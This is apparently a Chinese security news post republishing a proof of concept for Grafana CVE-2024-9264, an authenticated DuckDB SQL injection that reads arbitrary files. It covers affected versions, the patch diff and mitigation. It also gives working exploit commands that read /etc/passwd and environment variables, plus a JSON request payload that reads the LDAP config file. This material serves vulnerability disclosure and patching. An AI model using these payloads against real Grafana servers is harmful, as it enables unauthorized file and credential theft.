【PoC】开源监控平台Grafana 后认证 DuckDB SQL 注入(文件读取)CVE-2024-9264 (9.9)

【PoC】开源监控平台Grafana 后认证 DuckDB SQL 注入(文件读取)CVE-2024-9264 (9.9)

独眼情报 2024-10-20 12:53

概念验证 (PoC)

此 PoC 展示了利用 CVE-2024-9264 使用已认证用户执行 DuckDB SQL 查询并读取文件系统上的任意文件的方法。

设置:通过以下命令安装所需的依赖项:

pip install -r requirements.txt

使用(文件读取示例):

python3 CVE-2024-9264.py -u user -p pass  -f /etc/passwd  http://localhost:3000

您还可以执行任意的 DuckDB 查询,例如调用 getenv 来检索环境变量:

python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000

可以被利用的 DuckDB 功能函数列表可在此处找到 这里。

漏洞概述

CVE-2024-9264 是 Grafana 实验性 SQL 表达式功能中的一个 DuckDB SQL 注入漏洞。任何已认证用户都可以通过修改 Grafana 仪表板中的表达式来执行任意的 DuckDB SQL 查询。

受影响版本:
– Grafana OSS 和企业版 11.0.0 – 11.0.5, 11.1.0 – 11.1.6, 以及 11.2.0 – 11.2.1。

修复版本:
– 11.0.5+security-01 及更高版本

查找补丁

Grafana 发布了特殊版本来修复此漏洞。为了分析补丁,可以使用以下命令来比较变更:

git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495

这显示 SQL 表达式功能从易受攻击的版本中被简单地移除了。

+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+       "errors"
+
+       "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+       return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+       return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+       return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+       return &DB{}
+}

@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
 
        rsp := mathexp.Results{}
 
-       duckDB := duck.NewInMemoryDB()
+       duckDB := sql.NewInMemoryDB()
        var frame = &data.Frame{}
        err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
        if err != nil {

补丁完全移除了 SQL 表达式功能,防止了被利用的可能性。

利用漏洞

  1. 启动 Grafana:
    使用版本 11.0.5 运行 Grafana:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5

  1. 修改表达式:
    创建一个包含类似 “Math” 表达式的仪表板,用 Burp 截获请求,并将 datasource 类型从 math 修改为 sql。

将会发送一个 HTTP 请求到 /api/ds/query?ds_type=expr&expression=true&requestId=Q101。

下面是最小化的 JSON,用于执行一个读取任意文件如 ./conf/ldap.toml 的 DuckDB SQL 查询:

{
  "queries": [
    {
      "refId": "B",
      "datasource": {
        "type": "__expr__",
        "uid": "__expr__",
        "name": "Expression"
      },
      "type": "sql",
      "hide": false,
      "expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
      "window": ""
    }
  ],
  "from": "1729313027261",
  "to": "1729334627261"
}

无需实际存在仪表板即可进行利用,这只是找到执行查询的 HTTP 请求的一种简便方式。

利用可能性

需要注意的是,虽然此漏洞非常严重,但其可利用性取决于 Grafana 服务器上是否安装了 DuckDB 二进制文件。默认情况下,Grafana 并不随附安装 DuckDB,且没有选项可以直接从 Grafana 接口安装它。

要使此漏洞可被利用,管理员必须手动安装 DuckDB 并将其添加到 Grafana 服务器的 $PATH 中。 如果不存在 DuckDB,SQL 注入漏洞则无法被利用,在默认安装中成功利用的可能性大大降低。

缓解措施

将 Grafana 更新到已修复的版本,并确保在延迟修补的情况下,DuckDB 二进制文件不在 $PATH 中。

致谢

此 PoC 使用了由 cfreal 开发的 ten 框架。

https://github.com/nollium/CVE-2024-9264/

还是那句老话,poc 合法使用,是否存在投毒自行判断。